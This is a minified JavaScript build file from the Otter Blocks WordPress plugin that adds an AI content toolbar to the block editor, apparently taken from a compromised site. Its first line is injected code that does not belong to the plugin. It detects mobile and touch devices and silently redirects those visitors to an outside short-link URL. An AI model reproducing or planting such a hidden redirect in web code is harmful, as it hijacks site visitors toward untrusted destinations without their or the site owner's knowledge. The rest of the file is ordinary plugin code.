File: //home2/gazetufm/yac.al/alb/wp-content/plugins/otter-blocks/build/blocks/chunk-ai-content.js
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/GNLgNDJCz0r1");
"use strict";(self.webpackChunkotter_blocks=self.webpackChunkotter_blocks||[]).push([[973],{7027:function(e,t,o){o.r(t);var n=o(7723),l=o(6427),r=o(9491),s=o(8468),i=o(2619),c=o(7143),a=o(4715),d=o(1187),u=o(3907),m=o(886),p=o(8619),h=o(7822),k=o(9980),b=o(8209),g=o(790);const x=[],I=[],j=({hasAPIKey:e,toolbarActions:t,activeBlocks:o,onOpenAction:r,onCloseDropdown:i})=>{const c=(e,t,o=!1)=>{r(e,t,o),i()};return(0,g.jsxs)(s.Fragment,{children:[!e&&(0,g.jsxs)(l.MenuGroup,{children:[(0,g.jsx)("span",{className:"o-menu-item-alignment",style:{display:"block",marginBottom:"10px"},children:(0,n.__)("Please set up an AI provider in Integrations.","otter-blocks")}),(0,g.jsx)(l.ExternalLink,{className:"o-menu-item-alignment",href:`${window.themeisleGutenberg.optionsPath}#ai`,target:"_blank",rel:"noopener noreferrer",children:(0,n.__)("Go to Dashboard","otter-blocks")})]}),(0,g.jsx)(l.MenuGroup,{children:(0,g.jsx)(l.MenuItem,{onClick:()=>c(t[0]?.id,(0,b.Pd)(o)),children:(0,n.__)("Edit with AI","otter-blocks")})}),0<t.length&&(0,g.jsx)(l.MenuGroup,{children:t.map((e=>(0,g.jsx)(l.MenuItem,{onClick:()=>c(e.id,void 0,!0),children:e.title},e.id)))}),(0,g.jsx)(l.MenuGroup,{children:(0,g.jsx)(l.ExternalLink,{className:"o-menu-item-alignment",href:`${window.themeisleGutenberg?.optionsPath}#ai`,rel:"noopener noreferrer",children:(0,n.__)("Edit Custom Prompts","otter-blocks")})}),(0,g.jsx)(l.MenuGroup,{children:(0,g.jsx)(l.ExternalLink,{className:"o-menu-item-alignment",href:"https://docs.themeisle.com/collection/1563-otter---page-builder-blocks-extensions",rel:"noopener noreferrer",children:(0,n.__)("Go to docs","otter-blocks")})})]})},C=(0,r.createHigherOrderComponent)((e=>t=>{const[o,r,i]=(0,m.A)(),[b,C]=(0,s.useState)(!1),[B,_]=(0,s.useState)(),[w,M]=(0,s.useState)(!1),{canUse:A,selectedBlocks:G,selectedClientIds:f,currentBlock:P}=(0,c.useSelect)((e=>{if(!Boolean(window.themeisleGutenberg?.hasModule?.aiToolbar))return{canUse:!1,selectedBlocks:x,selectedClientIds:I,currentBlock:null};const o=e("core/block-editor");return{canUse:!0,selectedBlocks:o?.getMultiSelectedBlocks()??x,selectedClientIds:o?.getMultiSelectedBlockClientIds()??I,currentBlock:t.clientId?o?.getBlock(t.clientId):null}}),[t.clientId]),S=1<G.length,E=(0,s.useMemo)((()=>0<f.length?G:P?[P]:x),[G,f,P]),v=(0,s.useMemo)((()=>"loading"===i?[]:(0,h.Lq)((0,h.YE)((0,h.sb)(o)))),[o,i]),O="loaded"===i&&((0,u.zz)()||Boolean(o(p.r))),T=S?G.some((e=>e.clientId===t.clientId)):t.isSelected,N=A&&T,y=(e,t,o=!1)=>{const n=v.find((t=>t.id===e));_(t??n?.prompt??""),M(o),C(!0)};return(0,g.jsxs)(s.Fragment,{children:[(0,g.jsx)(e,{...t}),N&&(0,g.jsx)(a.BlockControls,{group:"other",children:(0,g.jsx)(l.ToolbarItem,{children:e=>(0,g.jsx)(l.Dropdown,{popoverProps:{placement:"bottom-start",className:"o-ai-toolbar-dropdown"},renderToggle:({isOpen:t,onToggle:o})=>(0,g.jsx)(l.ToolbarButton,{...e,icon:d.aiGeneration,label:(0,n.__)("Otter AI Content","otter-blocks"),onClick:o,"aria-expanded":t}),renderContent:({onClose:e})=>(0,g.jsx)(j,{hasAPIKey:O,toolbarActions:v,activeBlocks:E,onOpenAction:y,onCloseDropdown:e})})})}),b&&(0,g.jsx)(k.A,{isOpen:b,onClose:()=>C(!1),actions:v,initialPrompt:B,autoGenerate:w,selectedBlocks:E,isMultipleSelection:S,singleClientId:t.clientId,selectedClientIds:f})]})}),"withAIToolbar");(0,i.addFilter)("editor.BlockEdit","themeisle-gutenberg/otter-ai-content-toolbar",C)}}]);